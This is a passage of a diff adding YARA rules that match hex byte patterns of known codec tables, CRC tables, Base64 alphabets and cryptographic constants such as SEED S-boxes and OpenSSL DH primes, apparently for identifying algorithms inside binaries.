6b32e3937795911cc97e226802d312ef4a7ad42683b2b6ac6cc4c75121cf12e783742126ae75192b7e6bba1065063fb4b18106b1afaedca11d8bd253dc9c3e1e2591642448613120a6eec0cd92aeaabd54e67af645fa886da88e9bfbefec3e4645780bc9d86c0f7f0f87b78604d6003604683fdd1b01f38f604ae4577ccfc36d7336b428371ab1ef0874180b05f5e003cbe57a07724aee8bd99424655612e58bf8ff4584ea2fdddf238ef74f4c2bd8987c3f96653748eb3c855f275b4b9d9fc466126eb7a84df1d8b790e6a84e2955f918e596e467057b4209155d58c4cde02c9e1ac0bb9d00582bb4862a8119ea97475b6197fb709dca9e0a1092d66334632c4021f5ae88cbef00925a0994a10fe6e1d1d3db91adfa4a50b0ff286a169f1682883dab7dcfe0639579bcee2a1527fcd4f015e1150fa8306a7c4b502a027d0e60d278cf89a41863f77064c60c3b506a861287a17f0e086f5c0aa586000627ddc30d79ee61163ea382394ddc2533416c2c256eecbbbdeb6bc90a17dfceb761d59ce09e4056f88017c4b3d0a7239247c927c5f72e386b99d4d72b45bc11afcb89ed3785554edb5a5fc08d37c3dd8c40fad4d5eef501ef8e661b1d91485a23c13516ce7c7d56fc44ee156cebf2a3637c8c6dd34329ad7128263928efa0e67e0006040 }
+
+condition:
+	$a0
+}
+
+	
+rule Generic_squared_map__8_byt_16_
+{
+strings:
+	$a0 = { 00010405101114154041444550515455 }
+
+condition:
+	$a0
+}
+
+	
+rule PSX_VAG_f_decoder__flt64___64_big_80_
+{
+strings:
+	$a0 = { 000000000000000000000000000000003fee00000000000000000000000000003ffcc00000000000bfea0000000000003ff8800000000000bfeb8000000000003ffe800000000000bfee000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule sfb_64_1024__16_big_94_
+{
+strings:
+	$a0 = { 00040008000c001000140018001c002000240028002c003000340038004000480050005800640070007c008c009c00ac00c000d800f0010c01300158018001a801d001f8022002480270029802c002e8031003380360038803b003d80400 }
+
+condition:
+	$a0
+}
+
+	
+rule t_class_16_sbox__16_lil_512_
+{
+strings:
+	$a0 = { dba36ed76609d083bef8584811f6cff414b32d21a215dd78f599c4b1edaf81f99be7aa2d404d758a54ced54cd5ca752e2d521a951ad9731e4a4e7c382c44b328210ab6dfd4023ea0341758f174602c687112f5b7767a91c3dfe9b5fa043d2e53e2963b84226b34baa7f2c863fb9a32192e7ce5ae40e5adf527f73e169a6aeea219398eb6e17bf90fe9c148936a81d01b85eec9b4631a16ea13d086917b2f28b89d5517b9bcda4185123f4041c1bfcbe04e5a8d58eb80965f3f66580b82d82f90dd3522d545c0a2a7bc338a06a06565691545b60022941556cb6d5f98679b2c76959794fc0cb2bdc2f8b0ebfe44dbf620a9e10bebe3d6c0e418ddb747034a161ddb428fed119e606e5049d93cfacdae43d8278cd2650751d4dbde80c7d86768180f89f7cb3d305a1faa8dd9c6ad8fc4aa62c8a3745adc4dc91b5df15c69315ca49870a888a061662c039f5d0d3c2b36872f50a0820b548a647e26b97d45030d405e34ce4bd61cfe73b0d185c45efdfc3bd6ccd3fb067f01ab68e6e83ea55b6ea5cead1d0413235f9cc614f051e022f3f0d52933798271ef7e9bff658c230ec1e23d0c61eff8bc96728175906fff3745a147ec63d3138ebf622e8b28863b103ce8ce088277f711c0beef922c4f4b2493c56b32bd36d09dd7cf80f3f6a64ebb75ac685ef36c33a947130b57032597b53ce3efbd72a8383aaa013f0591590e2a9846 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_imc_huffman_lens__8_byt_288_
+{
+strings:
+	$a0 = { 100f0d0b08050301020406090a0c0e1007000a080706040403020203040607090b0b07000f0f0e0b0806040201040507090a0c0d04000d0b0a080604020202030507090c0f0f0e000e0c0a080704020202030507090b0d0e07000e0d0b080604030202030507090a0c0e03000d0c0a07050403020203040608090b0d04000d0c0a07050403020203040608090b0d0400100e0c0a08050301020407090b0d0f1106110f0d0b0806040202020305070a0c0e1009100e0c0b09080603010205070a0d0f10110411100e0c090705020202030406080b0d0f0a100d0b0a0807050202020406090c0e0f1003100b0b0a0908070504030303030303040506050909070605040303020304050405050608060d0c0a080503030202030407090b0e0f060f }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_8_ATM_poly_0xe0__8_byt_refl_False_
+{
+strings:
+	$a0 = { 00e020c040a060808060a040c020e000e000c020a0408060608040a020c000e020c000e0608040a0a0408060e000c020c020e0008060a04040a0608000e020c040a0608000e020c0c020e0008060a040a0408060e000c02020c000e0608040a0608040a020c000e0e000c020a04080608060a040c020e00000e020c040a060808060a040c020e00000e020c040a06080608040a020c000e0e000c020a0408060a0408060e000c02020c000e0608040a040a0608000e020c0c020e0008060a040c020e0008060a04040a0608000e020c020c000e0608040a0a0408060e000c020e000c020a0408060608040a020c000e000e020c040a060808060a040c020e000 }
+
+condition:
+	$a0
+}
+
+	
+rule OpenSSL_dh_p192_c__8_byt_24_
+{
+strings:
+	$a0 = { d4a0ba0250b6fd2ec626e7efd637df76c716e22d0944b88b }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_fax_ccitt_codes_lens__8_byt_208_
+{
+strings:
+	$a0 = { 080604040404040405050505060606060606070707070707070707070708080808080808080808080808080808080808080808080808080808080808080808080505060708080808080809090909090909090909090909090906090b0b0b0c0c0c0c0c0c0c0c0c0c0a0302020304040506060707070808090a0a0a0b0b0b0b0b0b0b0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0a0c0c0c0c0c0c0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0b0b0b0c0c0c0c0c0c0c0c0c0c }
+
+condition:
+	$a0
+}
+
+	
+rule LD_CELP_G_728_cb_gain_sq__flt64___64_big_64_
+{
+strings:
+	$a0 = { 3fd103ffff5433893fea0e1fffe973904003f2d0802d0366401e8bcf43dbb32b3fd103ffff5433893fea0e1fffe973904003f2d0802d0366401e8bcf43dbb32b }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_fax_ccitt_syms__16_big_208_
+{
+strings:
+	$a0 = { 0000000100020003000400050006000700080009000a000b000c000d000e000f0010001100120013001400150016001700180019001a001b001c001d001e001f0020002100220023002400250026002700280029002a002b002c002d002e002f0030003100320033003400350036003700380039003a003b003c003d003e003f0040008000c001000140018001c002000240028002c003000340038003c004000440048004c005000540058005c006000640068006c007000740078007c008000840088008c009000940098009c00a00 }
+
+condition:
+	$a0
+}
+
+	
+rule Lame_MP3_window_subband____mdct_routine_win__flt64___64_big_1152_
+{
+strings:
+	$a0 = { 3d50c36008a442663d6699997e7f85b33d7089c41bb39bf13d73beff7aa6ff253d74d38af6e3922b3d73beff7aa6ff253d7089c41bb39bf23d6699997e7f85b83d50c36008a442703d97ff0a65fe13fc3d95753fbd43632c3d92a65235798d9b3d8f5033dff9318a3d8923bdd333ebe03d82f747c66ea6353d79f5ae76e979143d6d73f0af8445993d524b36d35d7e37bd97ff0a65fe13fcbd95753fbd43632cbd92a65235798d9bbd8f5033dff9318abd8923bdd333ebe2bd82f747c66ea635bd79f5ae76e97914bd6d73f0af84459abd524b36d35d7e37bd50c36008a4427abd6699997e7f85bcbd7089c41bb39bf5bd73beff7aa6ff25bd74d38af6e3922bbd73beff7aa6ff25bd7089c41bb39bf4bd6699997e7f85b9bd50c36008a442703d50c36008a442663d6699997e7f85b33d7089c41bb39bf13d73beff7aa6ff253d74d38af6e3922b3d73beff7aa6ff253d7089c41bb39bf13d6699997e7f85ba3d50c36008a442703d97ff0a65fe13fd3d95753fbd43632c3d92a65235798d9b3d8f5033dff9318d3d8923bdd333ebe03d82f747c66ea6353d79f5ae76e9790f3d6d73f0af84459a3d524b36d35d7e37bd9804e49bcec6a8bd95a4a6671832bbbd931a3d4482c23dbd906a9c6870362abd8b35ff14870149bd8561c16460d260bd7e844cbbf65e9fbd71263920972c4abd53af693e3cb4c0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000bd501208fbcf462fbd5c69f5bb3b176fbd4e35c09616c86c3fc0d9fd31c98bf73fda827999fcef313fe88df153d6a6743ff175ffe71f075f3ff4da02d93ab9e73ff91d6e9fab8f623ffebc57c138aab64003504f333f9de440095f6d1882823640120af72b84120c401e620d5dba72b04036e75d2dd1c3673fef838b8c811c173fe491b7523c161d3fd5e3a8748a0bf73fee11f642522d1cbfc63a1a7e0b7388bfe8836fa2cf50383febb67ae8584cab3fe0000000000000bfe076bfcd6fbeccbfde30db485db65fbfd40e604f4701fdbfc748ee85851aedbfb83603a7f25359bfa4f970dd8206d0bf8d14239d59a7c1bf6e4f68c708d3f33feb7095010f93553fec373afe3fa80c3fee635b9ee7b56f3fef77502a0dd15a3fefdb482dd30f5a3feff91f901a81043fefff2c98dbe44d3feffff1a52805d10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003d501208fbcf462f3d5c69f5bb3b176f3d4e35c09616c86c3d9804e49bcec6a83d95a4a6671832bb3d931a3d4482c23d3d906a9c6870362a3d8b35ff148701493d8561c16460d2623d7e844cbbf65e9f3d71263920972c4a3d53af693e3cb4c0bd97ff0a65fe13fdbd95753fbd43632cbd92a65235798d9bbd8f5033dff9318dbd8923bdd333ebe0bd82f747c66ea635bd79f5ae76e9790fbd6d73f0af84459abd524b36d35d7e37bd50c36008a44266bd6699997e7f85b3bd7089c41bb39bf1bd73beff7aa6ff25bd74d38af6e3922bbd73beff7aa6ff25bd7089c41bb39bf1bd6699997e7f85babd50c36008a44270 }
+
+condition:
+	$a0
+}
+
+	
+rule Q128_ftab__32_big_4096_
+{
+strings:
+	$a0 = { d6d926325e84404d4f34128271654b06d48d6a0b245becc4c8f84d8022c620c966aa8b020ac697ff8b755a362577931c438d17b6bb7b1bd1e0a8f51ef4fd583dbeceeb957945c1ae29ce96283d7965cd80cfbdb92f535a257666a9bd6df2324b98731a06e4d32444265faf5541895427f2d2c55e8151930f77a888a39cba9a32a7ec629c55dcf904b35b91791ab8e42ea0ef8027db4c5cde9fc2a9d3a95124399c08cb5c4bfd92b6c23eda7f037833e140177a91bae53567774ad6653cb744d36e8a01aa65d2b8e30507a12aef69c3cb230801d70bbae78f62630b36ed6d805a5aaf9ebf721d78e7d33cd9de6618da6c9dc6ea420d272b823559ef65dcfdef0b865271b43621dc84885d667f92e582512e9d7b3be916510099bd3b18b1ed838684563225446cabcb7e462315a2bbcc1e3be4a9c0320a0276416b0ae1c6a755e35c8003dc36c3824297e2237b2ae6aa618a5925ee3b56f8ae26bdf19396ce5ca3e51d055aad2af5632b9ada119f70f8bd3f9f789a89934761a8cf0a8fc78b2a3b8f5e84c4b8b1795eafcce834d9aa4189c28c8b117636a615f2609430eca3a1447869be7612c8612ed18acb21cc61c21ceddfd134ad7afacb7f6a5ccd0c0b545a584983e804998f9c969e530be21ee7e1fff5eedcfe3bcfc297007dbd66fa84aaa375ed003509e0cd1b76c53070193b7686e020dac9366c9e49f9d127ae52c682260fa0fde380c957ce358e2502044391aeb09844f31ce440f0d686cf8cc4e9e3be2cb5531e933adcc312a5a71d0957fba1c3ffffbd5486b2e8d8701e6e685f6c1bc4945e062f9d6384063d8dc1f4b8f0a7bc6d34c4f319daf81452a14cae7fa51dbb0695aa9b46b66bddaf2861f966119a27563fc2dc84b96530e625e74949636ff671dab8532798c06a9646cc839cda9eeed60ba70e3c5af086896702544c3987cc5f02b3b9cfbff6f91bacdcade0a38b9704f06cde4d9364aec8933e5159847bf3d3513eb30742be9ee43db15fd2e82c7b666c01ce211e3b06f70605e5ffec24e9bdaafda1a2e5e04aabd8e9a4006e019e2eb68d0ac8fd73d359f96a43819e00500fa8da302caec0d8c72862d15a5861a969b91e216bb20892dbc63a7a877634259f1579a79f68f96822d17f88020baf9ce79c017c7070f8445d09ee15b3bbe362979120203d9e5341350925279cb4df378d848921160fa89f0527413b0549ad98a40dfb8e3f8600000000d717072ce6353913acb4dbd51f0d146ac411471cb9cd092e41d95b8f74d0bb4286027e1cda827dc057d8ba9512986e869bb97889c9843df0122a3fe8556ea86ad8346f3f693bb27f53113aa12850b89e0ce90a9cfb3c6ee87a6dfde7917fef762a54fb0fe2acb68fe4832bec2e7f25fd110203a1aacb491e18eca8179e5c876514b7f3e5c146e99e2e2f2a5547a6c94423ba50b9d2f2f8c0fbde302ea494517db5740c1a72af2989ee45bc1303283c496fa67e72f767351a1a5abae8197286a1e71946cb0f7367bbdd33ce1531c060f967d6fb72aee097ec28e2e9f0e7ab17a5ba076ba12595cddad43f3b6525c5c272c81a1346177d916a9b5b264fe166d4009ebed9a37ef4727b611b38d75dfc73ac0c5b5bf28de8963bc7db259331223e3fd7470884606748a7ffa5e174f3feba8640f52457a3c7bc6edc4fbe656233049ec26ed5d74f8643ec468ab69c53a36bcf558cf6ac95043e2c1b26ca984867ff9185c81c93b60c3ffb897119a74ad1ed6e7480b4ea0beae827d0f6bb5158198c406989e3115f1a6efb696bbdd76847c20f6c6c1cfd1ec33574f64b4ac2f41f06fb00b2516e644c96558c94e64b6648d5c4a2ebc3b64c1c2ecbf7856bdc7adfac894837f039ae02c92a35bbb1a3e461752af7d56474d210a606718715c0a4c45ed5bab53acf1c252823cb807e61cdafe302aa7918700b58b949a00ddee160d519c9e1848ac6d9481f4ff148a87964fec73b3c551a15e5af54344d605ebba55a70633c0515bd1deb093d0d957aec3ee308eaccd39372d38e88b0fa401e988f0e8b6cb023a2989207dc977c126f2cd8863e51cd4dbdc4382ecb4f6a138e36631f7b46192289091c75278b50db582e90039f06a9b37aff06cdc3a5210c42468fecd5aab227e1093d9b3b0bb92f57e823ea5f117839b1decaac01b9127a3040f282caf69a9507518e22f4b4fc6f83fb56f4c54dbccaa8040f91397d60851661807decd7eadc338f514576989f20f715e4317a82d7a55642f2309b983f2d29f4eb121291dbae021899ed34b0fd13f38b91cdbe18c96663367b118d97042bdef2ed3d8ff2179fcfac63ad2a2832b85318cdffecaa724d774f21ee1c8042a1686e2a04f4a795b66f42de4bfdf4d240a9ae4a81e2c6a82d54497d3e10f4614b377ffaa2405e3fcf773290b1ce68fc8ddd3d8db8999316e3bfdcb30b9ed18229a0ee4eaa3c34b10fdd4056a4cae584e4634bd16895e76e3850c49554318458abdd2ebe7cbafbc8a84228dad27268db1c537671d71a68bdb6d874ebf04c57dfd5d342852a4255d66b775cb4087c6acbd071c9eb421d39dd819f7b4fd64c44305e4e4f7d8c419ad014e597dea9a3321c97794d45a28ad5628155f0912fe0de43dd181efaf24ff64efa339c9399f2210eed490db4ba2d04a193f057942841f4e136dba8e7fb180df533792330bc1089bc9aa7accffbaf3b6560e98d33942cc00a9698575788b53d2070323631906f51a75e33f25987a2f66b3ff1eec5df6602a25992d86af1d0f01651eeb25fa83f95d8d631f9788be0b0b6be6e95a121a13919c0d7cf095cfad809bea41e872e01c4c7397b55990f6a761601e11a17cfc0043bb4a6688abb7b28809fb21194ca1f32b277eea1cfaba0935965fc309ac508f97f3a5365ef8b9d0d37effd9a949a109a9f92a67b90e1c1c0f8f60c678a092a46f8a603cff9382d796f142f1c5aff9117ace4d47dfe899eac13564f98d2a2f76876d4f8d3a2099d7008c2d46e4213390007e1bc7df4ad5795eef7ed7d932ba34f33267daecafc0e112fb104e3503906e8172d9ec2f61b456a6eda0e024e4862f2c56d376c526d4ad1e9465ea8448ef50dea3e6d493952bb3f2ecd7493ac068abb59d7ad5e877e0e6ca397b3c6069dcc0dd63b78f47cf031ea180ef6d1ca1e50d7df85dcea8c76b88dea6e62e1090cf570e54d0af2b2c5bfcf14e7fc4db72040237ea47dd352df1bbf6582b74becf3aeecc03a99ee7e162cbd3a98d9b00dc57544a325e2a8d5434b15e687687d6817cda76d4063254714982a102e7c79bc28f6c278dbef182ab6a5c9c3a0f4c97d6e1f5c9c58c4f482cbfe2821be1328576aebfb8e72fb1ca6724c2a4638e7f22b7884d7404775395442d7b2ea8c3c271455ad232773d08d387ec4e73ac8d6184b4fc3d818bca7bf83b78e5853f364672723df254c4c21638598133b1fbf45042fe10b4b297cc74646dab93456469423641c99fd4cfe700d8b25559e5d1e2d6abc78f96a24b9b202ef39cc63c116e636989144c0efdb92a55d4e22c268a59cc977f8870b7a3df24f7ca03e42fd43fc2370fb65b0905390ae443ca4636d106c8d1529dd5338cc95895935f3982f03558db8e176f6b073ad305e661e8b11520c09573ae4538c26b725ddd190d39750721527c181e30557ae82f3aeb52ed51344bd9d96e5ea42f167c6a6c01d44982315ae2b288b7fa171ae9197b22cd3919db1b013b4115e7684f77bc342aa0f08208aa808708500e5ff5b9c4e186d5a2800b736d5a115d3c4a31672159b8c3dfe6bc06a967c0dcd07b1b3d5433f46d8e8887fb64668e85a45f2857d2bcad5b9d4dd65a372ff2621b99d06868ec0aa722de548dae01aa4708355d09e5e361123e66536bb5f4a61535dac7c0423580e7fb52403b293c9fd89b6ee613dc6f75a4b3a2a88de70ab6a184d305113c3f0fb6122247e0f49a9de8f8d5ac75595e660eac088c880c6450b25f7373ab2f1aaf6bf3ce74b7bfdf1ad4d634f74eeabe736c6436f49704a63bc0094784e5c27918e4b300e41e79be97721dbfe0db0ed8fde9c81e3c261fed9910433c423685ed44fe50753ed1347f6c6ec704934de2cc9370202b612ff3f7d265ca4760fbb1a0ab54009eeabb6adc8aba513e41ef688bf38b9d91810e7523d45796734a5b4370da35cdc1fb1cd04c980342db547724dd20fd586b02f72bb994517d044ea3fd1dac4894885a1573902b497c1a4b7580fc136d5ff17b01a5b83e1677a8fa3211579d2fbeba043ff50690940802de37fa62243826b8da0800a74c6917432e584528f1417a5e8210d88ef37119a7759970cb90534292cc8ee4744978220c26358c615048daa2917d8494b804984b46ce3736108977ba3dcf94510dbbb68f593618279af46bd04891ace87df4b553ea7c2cb322f0f5c625d1a4f641d2a325a0ddea50a7fcb11b052cf1d595853f563768b98c14b683d296a65de1bf25c3671d32ce3329839f581284d37bff232def9ac9a8e90a5da754e95f45b31b009b4ea22ac713544aece65818d067f92cb39e0ea51b0c1fc5ec84a1cee6aa1df58e9f40fc6f1faf9171306403005b5f044424336a80a24c939c44148b46f4420b4047bd15a39b0e5f98bc70b580e5f1863d1389a4faf2eb6f2c9d43258107e73d189c348c99cea959a11e05d67bb2b147973835651f34cebe8d36cd6764540d4135cd00c7431723197eea7e2d50f23681381b3cdc97fd80da3d7f559ea03ca628f3dcb34a3337672062c2b69c451f727f6829bf180039a6d2756169b8b4d82007d9d24b484bde6d7dc389c9a2169d9ecb9b792114d44defaa58fbcda0292b58df9962c0265cf19f1fd7462ea2c227471a7c53d38c49257d33f32e85cb0abb7396e30ec1f2158fbd2865b61bfa1240be36cb7704f8ba69012ec1f5d1bc28305df36299e99805ff8303dc58f69aa7ddc4e32e6d767d5880d69d7d46f34cdff47bfb222962f61a9e37557fa10113083e781f0cf49fe55fcddd2952d07161ce83a2ed8ca4e5f7f75fcc49a7915ce0654f086dca9012b910ebd46a5df67822cd9fa4e21af7eb95a81019ca7f118a7d100e25ec69b0b29e7e2fcb927ec11f02a857a4dfd3497ce7b1b949bf69d74bb2ccc31cdb4e3d0c6ffbf00ca8b36938dea16b3b074ced7d0e36037470fcd1db26c6da23de3bbc94abf5a1dcfd1c76974fda05dd149f034d809a4260013b091f3f6a5b82ea56786f4da4bad9d1e1e71641ab59652dcba576409b1bd8c2e2d5719b47331073fac568513b97f5840bf50c5230703e2bb6764aa1c20926cf0012c7fd81cc776e59e0c88cd995f65def44f0953e86a21701fef4aac7c426084771ad9cd2c9938aab80328304a33b3a8751e9a5cdd63c1bd79f790c051157930d5f11a7bd8646097cb6220a7d689299a879c50aab7c21ee54b1fcc700b08b6e128b2e658b295b067ab05680075accb32bfb29be5f5d127e56c8e423b6b6ffe46215c4deef9da73bf7b41823f48d5aeff1405a28bbfe2944d347590bdb45873c2b65c3053a0bf8f8f937bace71ae8eb8640a52bffe24ee849d3de87186c3c13551990d86754a08974375dacf4508b578663fd2580f98a7c1734c7c1d3d0a6b4f93e01562c185ef9795412d81ab5c65d7426edfe3b35ebbe0b02e61d5715cb83950e0f17cbfc3f8c535a4dc079e0f8fab65bd3eecfe1d4856e8aeb74805c3252b2ab5567a8fb6c6140b3e9c017ec41ff82f064d7a1491b8fe1a87d5be110cc22bff6a914040d77242ada60230651a7285e109c2d17 }
+
+condition:
+	$a0
+}
+
+	
+rule AAC_pred_max_bands_tbl__avcodec___32_lil_64_
+{
+strings:
+	$a0 = { 21000000210000002600000028000000280000002800000029000000290000002500000025000000250000002200000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule rfc3548_Base_64_Encoding_with_URL_and_Filename_Safe_Alphabet__8_byt_ASC_62_
+{
+strings:
+	$a0 = { 4142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a30313233343536373839 }
+
+condition:
+	$a0
+}
+
+	
+rule EPWIC_Sum_to_1_hi_filter__flt64___64_big_72_
+{
+strings:
+	$a0 = { 3f945371c80faaad3fa610034205debebfaa910e3c75dea7bfd2c44ccb561e8f3fe20a9e47f85e75bfd2c44ccb561e8fbfaa910e3c75dea73fa610034205debe3f945371c80faaad }
+
+condition:
+	$a0
+}
+
+	
+rule MMB_crypt_algorithm__32_big_AND_
+{
+strings:
+	$a0 = { 025f1cdb[0-20]04be39b6[0-20]12f8e6d8[0-20]2f8e6d81[0-20]0dad4694[0-20]06d6a34a[0-20]81b5a8d2[0-20]281b5a8d[0-20]2aaaaaaa }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_G729_cb_lsp_1st__16_lil_2560_
+{
+strings:
+	$a0 = { ce057808a70e7223662f78363f46e54ac6523c55c206500a7a0d0613ee17c41e1c3d9945464f8e552006d008100c0a13372b513483475d4b7552ed54c506d0091d0d6412411b382880422446c94a7e4fd0068409ec0c1b22c028e72efe3cff406f539955fa0641092c0da9118b1aa3320a452c4a775188545f068109210db818d529ed2edd335036f14b6052d1053c09db0c6a180b24a3281336ae3b3945cb534d07e509930d0d11c023b138243e7e428350a3531608d10bed10de167d1e0f246529af3e8d4e4a557607710a5b0da510a02b073bc140b7446e4b294f75041707400a0f125f19742590362c40974b26539008630c6312b016982ad4305237303d84521d5506057307f4097d0d6625bc2e6a3ec043eb4cdf578107a00afc111c1aef2cc0320e389e3b654237510408c70a390f7e14ee191b28da3dae41e546ab540607c109f115b92c853377399a421347534fbe52f1036f06490b4d16452542307f3b3e48e6511156c80bd20e1e152d1dc830a036e03bce3ff04d37519b08e00bd40e4215d32ec834533af23fc0457349600bc410341f64252a2dbc33dc389140244e51522d0b170e23177a1b1224162fa1358846264fee51fd0bd7104f17c71cda2c9b31e537693f9d47e44a82094d0e0213a6168f28ca2df932343dae49774de4072d0a140f1924db3334398a3ecb42444b1b4f5507f90a060e6312302b9930063d10434949c34d3b08390b590ea7160b355f39423eb542ca49774d4c06ec08800bf40d1b208736343e5743a048954e7409540c8e19e7271d2fde34c93b44401d49a84d8306340ace0d75141129b02d8c329e418a46b24b5409c90be7127524952cba31b03a783f2944f5485307e20a8710b018f621a527092e7542b048f84da70283052e12461fb62cc133933dcf46894f3f542e07240afa0d001212160a2c13380e3e6350fa541705a3075b09fa0cf72ec4350b3e9d46d44ef0529e053608670a860d88207a28c3356043144d48575c037007d2175f1e5726e72ee53945414b4d8c528906a30a780eed17f41de72473356b383a50e354de043907560b9c11351ca631f339ba3f874bc058f505d408160f1b16ae1ce42d3a346a387c465653ac043607200c971bdc2a6932de398d42d24d6c586308220c7b116f1923202526e82a812f1b4a345331066509b20bc40fd92c7933b738473cff4d1b53f206800a1e0e4812f924382bb930c03f1e4d405146071a0aa40d3f1abc2dd4321c38003f9a4cc94f73056c086d0a3a0d6f295d2f2e354141204a7753a4054508d60c5918cf24b532963aed3d24436155d4074f0bc70e21131818811c41313d40614bd953d7052f0bd818a41f872cbf371e3e2f45ff4f2d56b4092a0c5616b91bd0204831f936ff39375094537809cd0cb0148c181a2c6732963e6444854b3b4f050ac20ef0144d1b4e22bc2836387e3d6a45e654a70a380dd51926242e29cc2f3b39473d6a4e6e527c07890b8218981fee25ad2a683032402a4ebf52380d0e11e514f31dac2b3d316136dc3bbd4d1251030cbb103f17c31d8425022b6030b636b250f953d70697091b14ee26652d7833933956403451fc54a2058c08020d9d1ae122672f8c38ca3bb34c4050f6084f0be60f631fc92f6834aa39d743084ae84c9107630afa11291a6f233f3275377e3baf3ebd491708670a7810e524872a04307d363d3a244b754fcc06bb09a00dca1fb825912b96336039a05193559708410b43124f214327902c6338673c264375509707ac0b51109717361d58216537bf3cd6444b542107670c961b5a2618325a3c9a47904d46558c57a009e60bd6125917101e263c5a41ee446c504853f609410db914081bfb270337df46fb4ac9505853bb0bd70ec9142519ef1e7b2dc23dce41c746244a7f0d3d10b61a072095261a30213eba41ed4d9c51ec0bb90e1b13b216411b8e27c439763e3d4da851570e0411c316551b0c21342f4a375b3a2f4bc74f9c0a640e7e141e1a0f2111276a303337163f404d99074e0a22103b1f0238d83ca1421e47014f05520009700b1a10d81208165333d13d2a428c4e3e520807d409160d63145e344c3ed2446c48335004539c05b008c10ac211b925ed2b493bbd3f5144bf4a0f09530b7413181bd420b134c23c993f2e4faf518b08670b0212f316de1c0c31d1369a4106520955bb086b0b01147318a31f1535ec3bd43f0746bf4ee5064e0aa70e6216cb1e7c2741353b3ca8418e48840d6d167c25de2d4d38d03efd46924a6d516154970e4a113718c31c22249938a33e8242a14d8c51c10daa12e71ae821ad31f2374e3e8246c64e99525d08980bd11a731f1a276733dd39f53d7844df483410f0174423772a8e31b536683e3843834c73503311f714ea19b320b3274f2d733acb3f3e465049fb0f0a15c41a42222b2dea33703d2242704a864eba0a290eb314501d1628a82c7433823ceb416a44c808e40d5b215e29793168398340a0452c4fff52ff04a807500f711ea927a1390641db46c750da538809930d511ace219e2ffc38df420546a64a0b4e5707d2099111941d2127643a0d3f0142dd47b04bf40a680e421d6627d22ba731b33f3e446d4e8652e7077a0a210f4c200f287d2d533bce42154a4c4d070b150eb71693216527cd2cb84036444249a44d230b610ea014e01dd5236228713a143f97442a484405550ac21651227c291f327f3f8f478d523a585d08dc0bc510c217a91d852906437146da53445648064709380dde1af226db2b2042f244d94e8052d60a200e96139d196c1eff22ac427e47514c3e508e07cd123c182c1c1323912d753e9345ca4fc754f008b30dad13b91a5620a625da3a61409554c656870bbb0e0e139a1d38233a289a388a3bff4efe51b80cb712c919611dc421eb255634ce3e9e4a194f2307360a9e0d9717752fff353f3f8243af531956e803a806ba0bbf18172104291e3a53423a4e9b576e06ee08250c4d1ce52cf731b8410345254afe4eac06c509f30c511a1922c426d93ec942c647cd4d3f0ab60d7e110d1686266b2b733b93467f4c9e4fd6096a0d7812f418921f45246a33cf476b4d4850be064f09fa0f9f187d1e2d321439c844454bd54e2c0b970ee6129c17561cd220cf36fd3f7546d24b97106917101f402636303d39774456495f51c354ae0dd30f3016951ad21fa92e09412444a64f3c544f0c1d130b171e1c9a2c1133143b094528506555780ff01226175b1c6b2221292d3db0401447d74e9311cc19641f2324342a5331083e6844344e36529b10a515fe197e20ac26a62dfc3ac5425c50b754b90ecf14b91e9024bc292a2e5c35063c2d49aa4d0b0c810f6818b91f4626f22a69307635e045a14aab0a3e12971bf123522ca735eb416d4933515857a304b30881122e1c962559312c3c3046264fed5b7707ad094b0f7227602d9b325f3ff242464bf950e406d7092f0f201bbe232e31823f58420446034878055a0edb1b0e22c029dc305c3d2f45084d4c521209010cbf10ac1fbf248429f63d3541024de253460a0b0d9612a8202228452c5032de43154be04db906110ab1151b1ccb21be29dd3a39420f49d94d }
+
+condition:
+	$a0
+}
+
+	
+rule EC_curve__EC_X9_62_CHAR2_239V3_SEED__8_byt_20_
+{
+strings:
+	$a0 = { 9e076f4d696e676875615175e11e9fdd77f92041 }
+
+condition:
+	$a0
+}
+
+	
+rule seed_SS1__32_big_1024_
+{
+strings:
+	$a0 = { 38380830e828c8e02c2d0d21a42686a2cc0fcfc3dc1eced2b03383b3b83888b0ac2f8fa36020406054154551c407c7c3440444406c2f4f63682b4b63581b4b53c003c3c36022426230330333b43585b128290921a02080a0e022c2e2a42787a3d013c3d39011819110110111040606021c1c0c10bc3c8cb034360632480b4b43ec2fcfe3880888806c2c4c60a82888a014170713c404c4c014160612f434c4f0c002c2c244054541e021c1e1d416c6d23c3f0f333c3d0d318c0e8e8298188890282808204c0e4e42f436c6f23c3e0e32a42585a1f839c9f10c0d0d01dc1fcfd3d818c8d0282b0b2364264662783a4a72242707232c2f0f23f031c1f17032427240024242d414c4d040014141c000c0c07033437364274763ac2c8ca0880b8b83f437c7f3ac2d8da1800080801c1f0f13c80acac22c2c0c20a82a8aa234340430d012c2d2080b0b03ec2ecee2e829c9e15c1d4d519414849018180810f838c8f054174753ac2e8ea208080800c405c5c110130313cc0dcdc184068682b83989b1fc3fcff37c3d4d71c001c1c130310131f435c5f1880a8a82682a4a62b03181b1d011c1d120200020d417c7d3000202022022022204040400682848607031417104070703d81bcbd39c1d8d919819899160214161bc3e8eb2e426c6e258194951dc1dcdd15011415190108090dc1cccd0981a8a92a02383a3a82b8ba3d010c0d0800181810c0f0f0344074743181a0a12e023c3e3ec2ccce08c0d8d81bc3f8fb394168692783b4b735c1c4c50a02282a2a02181a160234363202303234c0d4d41c808c8c09c1e8e929c1c8c90383a0a320c0c0c002c2e0e22b83a8ab26c2e4e629c1f8f93581a4a52f032c2f290128292f033c3f34809494178384870cc0cccc014150511f83bcbf370304070743545717c3f4f73343505311010001000030303642444606c2d4d61c406c6c274344470d415c5d1b43484b0e82acae2080909017436467218190911fc3ecef24000404010120212e020c0e0bc3d8db104050501f83acaf200010101f030c0f0282a0a225c1e4e52a82989a15416465240034343840585811414041088098981981b8b93b03080b0e425c5e1480848407839497194178793fc3cccf01c1e0e1280028282202101218c0c